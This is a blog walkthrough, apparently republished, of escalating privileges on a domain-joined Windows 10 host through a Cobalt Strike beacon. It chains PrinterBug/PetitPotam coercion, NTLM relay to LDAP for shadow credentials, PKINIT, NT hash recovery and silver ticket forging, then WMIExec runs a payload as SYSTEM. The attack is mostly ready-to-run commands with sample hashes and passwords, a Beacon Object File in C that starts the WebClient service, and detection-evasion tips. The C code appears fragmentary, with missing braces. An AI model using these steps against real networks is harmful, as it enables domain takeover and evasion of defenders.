NTLMRelay2Self over HTTP (Webdav)

Just a walkthrough of how to escalate privileges locally by forcing the system you landed initial access on to reflectively authenticate over HTTP to itself and forward the received connection to an HTTP listener (ntlmrelayx) configured to relay to DC servers over LDAP/LDAPs for either setting shadow credentials or configuring RBCD.

This would result in a valid kerberos TGT ticket that can be used to obtain a TGS for a service (HOST/CIFS) using S4U2Self by impersonating a user with local administrator access to the host (domain admin ..etc), or alternatively, it’s also possible to retrieve the machine account’s NTLM hash with getnthash.py and then create a silver ticket.

Lastly, use the TGS or silver ticket to spawn a system (session 0) process, this can be achieved by simply using WMIExec or alternatively using SCMUACBypass script to rely on kerberos for auth to interact with the SCM and create a service in the context of SYSTEM.

The steps below lists all the actions taken to escalate privileges locally on an up to date Windows 10 (1909) system, the cobalt strike beacon (or any other c2 agent) is running in the context of an unprivileged user LAB\User1.

Domain: lab.local
Win10 IP:
Linux machine CS client running on:


TLDR: On the linux machine, we run ntlmrelayx and listen for any NTLM connections over HTTP port 80, and then use the printerbug script to force the Win10 system to authenticate using the machine account against itself on port 80, which hopefully should get picked up by our reverse port forward (beacon) on port 80 and redirected to the ntlmrelayx HTTP listener, and then ntlmrelayx will relay it through the socks proxy to the DC server over LDAP/LDAPs to set shadow credentials on the Win10$ computer account.

  1. Start the WebClient service from an unprivileged context:
    inline-execute StartWebClientSvc.x64.o sc_query webclient
  2. On your cobalt strike beacon, setup a socks proxy and reverse port forward:
    socks 5009
    rportfwd_local 80 80
  3. Check if msDS-KeyCredentialLink attribute is Not already set on the current WIN10 machine account.
    ldapsearch "(&(objectClass=computer)(sAMAccountName=WIN10*))" sAMAccountName,msDS-KeyCredentialLink
  4. Setup the Listener on Linux system CS client is running on:
    proxychains python3 ntlmrelayx.py -domain lab.local -t ldaps:// --shadow-credentials --shadow-target WIN10\$
  5. Coerce the WIN10 system to authenticate to itself to port 80 (HTTP), this requires the WebClient service and the Printer Spooler service to be running on WIN10::
    proxychains python3 printerbug.py "lab.local/User1:[email protected]" wind10@80/print
    Alternatively, you can use PetitPotam:
    python3 PetitPotam.py -u User1 -p Passw0rd01 -d lab.local WIN10@80/print
  6. If the previous two (2) steps were executed with no error, you should get a message stating shadow credentials were successfully set on the WIN10$ machine account, you can quiclky check for that using:
    ldapsearch "(&(objectClass=computer)(sAMAccountName=WIN10*))" sAMAccountName,msDS-KeyCredentialLink

The remaining steps are standard PKINIT actions to get a TGT for WIN10$, then recover the NT Hash and lastly create a silver ticket for the HOST\WIN10 SPN:

  1. Request a TGT for WIN10$:
    proxychains python3 gettgtpkinit.py -cert-pfx WIN10.pfx -pfx-pass 8kX4grjUrY8gvzjrphl5 lab.local/WIN10$ WIN10.ccache
  2. export KRB5CCNAME=/PATH_TO/WIN10.ccache
  3. Get the NT Hash:
    proxychains python3 getnthash.py -key 397eef25429f6b7249a11dfaa874df5c92bf44974b1bb962591937d656f0e827 -dc-ip lab.local/WIN10$
  4. Create a silver ticket for the HOST SPN:
    impacket-ticketer -domain-sid S-1-5-21-81107902-1099128984-1836738286 -domain lab.local -spn HOST/WIN10.LAB.LOCAL -nthash db6484c89c273e269a23b1bdc53f7cdf -user-id 1155 Administrator
  5. Export the silver ticket for kerberos auth:
    export KRB5CCNAME=/PATH_TO/Administrator.ccache
  6. Get a SYSTEM beacon using Wmiexec:
    proxychains4 python3 wmiexec.py -nooutput -silentcommand -dc-ip -k -no-pass lab.local/Administra[email protected] 'C:\Users\User1\Desktop\Files\mcbuilder.exe'
    Or alternatively use SCMUACBypass script from James (@tiraniddo)


  1. Export the TGT created in step 8:
    export KRB5CCNAME=/PATH_TO/WIN10.ccache
  2. Get the public key set on ms-dsKeyCredentialLink GUID:
    proxychains python3 pywhisker.py -u "WIN10$" -d "lab.local" --dc-ip -k --no-pass --target 'WIN10$' --action "list" -vv
  3. Remove the public key set:
    proxychains python3 pywhisker.py -u "WIN10$" -d "lab.local" --dc-ip -k --no-pass --target 'WIN10$' --action "remove" -D 97dc9d92-6d23-6031-7e1d-b5a13e305c8b
  4. Check if the public key is removed:
    ldapsearch "(&(objectClass=computer)(sAMAccountName=WIN10*))" sAMAccountName,msDS-KeyCredentialLink


  • Shadow Credentials requires LDAP signing and channel binding to be disabled, you can use LDAPRelayScan to confirm that.
  • Machine accounts are allowed to change their own LDAP attributes (Not applicable for user accounts), however keep in mind that this will only work in case if the ms-DSKeyCredentialLink attribute does not exist for the machine account we want to LPE on.
  • LDAP Signing and Channel Binding must be disabled on the DC (typical configuration for many DC deployments)
  • When Testing in a HomeLab, make sure you’ve:
    • Windows Server 2016 Functional Level for AD
    • A digital certificate for Server Authentication on DC.
    • Disable Windows Firewall on the Win10 system, this would not be a road block when dealing with real world organizations.

Opsec !!:

  • Using Ticketer for forging a silver ticket from the NT hash can be detected (ATA) by monitoring for RC4 encrypted Kerberos ticket, most modern MS environments rely on AES Kerberos encryption instead. an alternative would be to use S4U2Self to obtain a TGS ticket check gets4uticket from Dirk-jan.
  • SCMUACBypass creates a service, can be customized to update an existing service and point it to your beacon payload instead of cmd.exe, Wmiexec doesn’t create any services, that does not mean that Wmiexec with -nooutput and -silentcommand have no detections. just an opsec-safe alternative with a minimal footprint, i could be wrong though, who knows.
  • Shadow Credentials changes the ms-DsKeyCredentialLink only, on the other hand RBCD requires the MachineQuota to be set to 10 for default domain users (not always the case), plus a computer object will need to be created or have control over an existing AD joined system with an SPN set (required for delegation), then reflect it in the AllowedToActOnBehalfOfOtherIdentity LDAP attribute.


/* data API */
typedef struct {
	char * original; /* the original buffer [so we can free it] */
	char * buffer;   /* current pointer into our buffer */
	int    length;   /* remaining length of data */
	int    size;     /* total size of this buffer */
} datap;

DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);

/* format API */
typedef struct {
	char * original; /* the original buffer [so we can free it] */
	char * buffer;   /* current pointer into our buffer */
	int    length;   /* remaining length of data */
	int    size;     /* total size of this buffer */
} formatp;

DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);

/* Output Functions */
#define CALLBACK_OUTPUT      0x0
#define CALLBACK_ERROR       0x0d

DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);

/* Token Functions */
DECLSPEC_IMPORT void   BeaconRevertToken();

/* Spawn+Inject Functions */
DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);

/* Utility Functions */
DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);


#include <windows.h>
#include <evntprov.h>
#include "beacon.h"

UCHAR Opcode,ULONGLONG Keyword);

DWORD StartWebClientService()
    const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider = { 0x22B6D684, 0xFA63, 0x4578, { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };
    REGHANDLE Handle;
    DWORD success = 0;

    BeaconPrintf(CALLBACK_OUTPUT, "[i]: Registering the ETW event trigger.\n");
    if (ADVAPI32$EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider, NULL, NULL, &Handle) == success)
        EVENT_DESCRIPTOR desc;

        EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);

        success = ADVAPI32$EventWrite(Handle, &desc, 0, NULL);


    return success;

void go(char* args, int length) {

    if(StartWebClientService() == 0){
        BeaconPrintf(CALLBACK_OUTPUT, "[+]: ETW event trigger registered, WebClient should be started, use 'sc_query WebClient' for confirmation.\n");
        BeaconPrintf(CALLBACK_OUTPUT, "[!]: ETW event trigger registration failed.\n");

About Mahyar

OrcID: 0000-0001-8875-3362 ​PhD Candidate (National Academy of Sciences of Ukraine - Institute for Telecommunications and Global Information) MCP - MCSA - MCSE - MCTS Azure Security Engineer Associate MCITP: Enterprise Administrator CCNA, CCNP (R&S , Security) ISO/IEC 27001 Lead Auditor CHFI v10 ECIH v2

Check Also

Cobalt Strike Defense Guide – 2

In previous report on Cobalt Strike focused on the most frequently used capabilities that observed. In …